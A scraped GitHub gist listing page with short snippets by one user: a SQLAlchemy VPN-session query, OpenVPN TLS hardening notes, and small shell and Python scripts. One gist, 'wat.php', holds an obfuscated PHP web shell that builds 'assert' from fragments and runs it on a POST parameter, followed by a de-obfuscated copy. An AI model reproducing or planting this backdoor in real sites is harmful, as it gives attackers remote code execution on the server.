Skip to content

Instantly share code, notes, and snippets.

@0xa
0xa / q.py
Created August 14, 2015 17:29
select_c = DBSession.query(VPNSession,
VPNSession.connect_date.label('ev_date'),
sae.literal_column("'c'").label('ev_type')) \
.order_by(VPNSession.connect_date.desc()) \
.limit(10)
select_d = DBSession.query(VPNSession,
VPNSession.disconnect_date.label('ev_date'),
sae.literal_column("'d'").label('ev_type')) \
.filter(VPNSession.disconnect_date != None) \

Debian: Mail Server

Intro

Domain: example.com
Server Name: elaninwe
Server FQDN: elaninwe.example.com
Our user: aria

Hi there,

How to secure correctly your OpenVPN connection you said?

Yes! This little code snippet will improve drasticaly the strength of your OpenVPN connection while keeping very good performances. You just have to add the code available below at the end of you configuration file.

Important precisions

  • It may not work everywhere. @Korben (Twitter) got a problem because his server didn't support ECDHE, if you can't use this configuration then try to change ECDHE by DHE in the tls-cipher parameters. It should works but it will consume more battery if you are on a mobile/laptop because it will not use Elliptic curves to make the handshake.
  • You should check if your processor have AES-NI instructions. If yes then the key generation / exchange should be protected from SPA (Simple Power Analysis) and DPA (Differencial Power Analysis) attacks and AES will be a lot faster.
@0xa
0xa / wat.php
Last active August 29, 2015 14:07
Wat.
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/1/*-/*-*//*-/*-*//*-/*-*//*-/*-*//*-/*-*/]);
?>
Removed comments:
<?php
@$_="s"."s"."e"."r";
@0xa
0xa / rebuild_res.sh
Created September 7, 2014 20:00
Wallpaper cache updater
#!/bin/zsh
size="$1"
input="../wallpapers/"
output="./wallpapers_$size/"
mkdir -p $output
walls_count=$(ls -1 $input | wc -l)
count=0
@0xa
0xa / netfuu.sh
Created December 31, 2013 00:55
network died, fu.
#!/bin/sh
killall openvpn
killall openvpn -9
while pgrep openvpn; do
echo "[-] waiting for openvpn to die"
sleep 1
done
@0xa
0xa / rcpy.sh
Created November 30, 2013 21:55
Copy files between two remote servers with SSH, using a temporary key
#!/bin/bash
if [[ -z $1 ]] || [[ -z $2 ]]; then
echo "Need at least two locations"
exit 1
fi
pub=$(mktemp)
loc1=$1
@0xa
0xa / inheritance.py
Created November 26, 2013 20:38
Awesome.
class Base(object):
def __init__(self):
print('base!')
super().__init__()
class A(Base):
def __init__(self):
print('A!')
super().__init__()
@0xa
0xa / tfh.sh
Last active December 26, 2015 14:09
git clone https://github.com/CCrypto/tfhnode.git
cd tfhnode
vim tfhnode.ini
# add: db = sqlite:///tmp/tfh.sqlite
python setup.py develop --user
python tfhsetup.py --make-dbtables --make-dbdata
cd ..
@0xa
0xa / if.py
Created October 4, 2013 16:25
return \
self.get_index() if get & index else \
self.get() if get else \
self.post_index() if post & index else \
self.post() if post else \
HTTPBadRequest()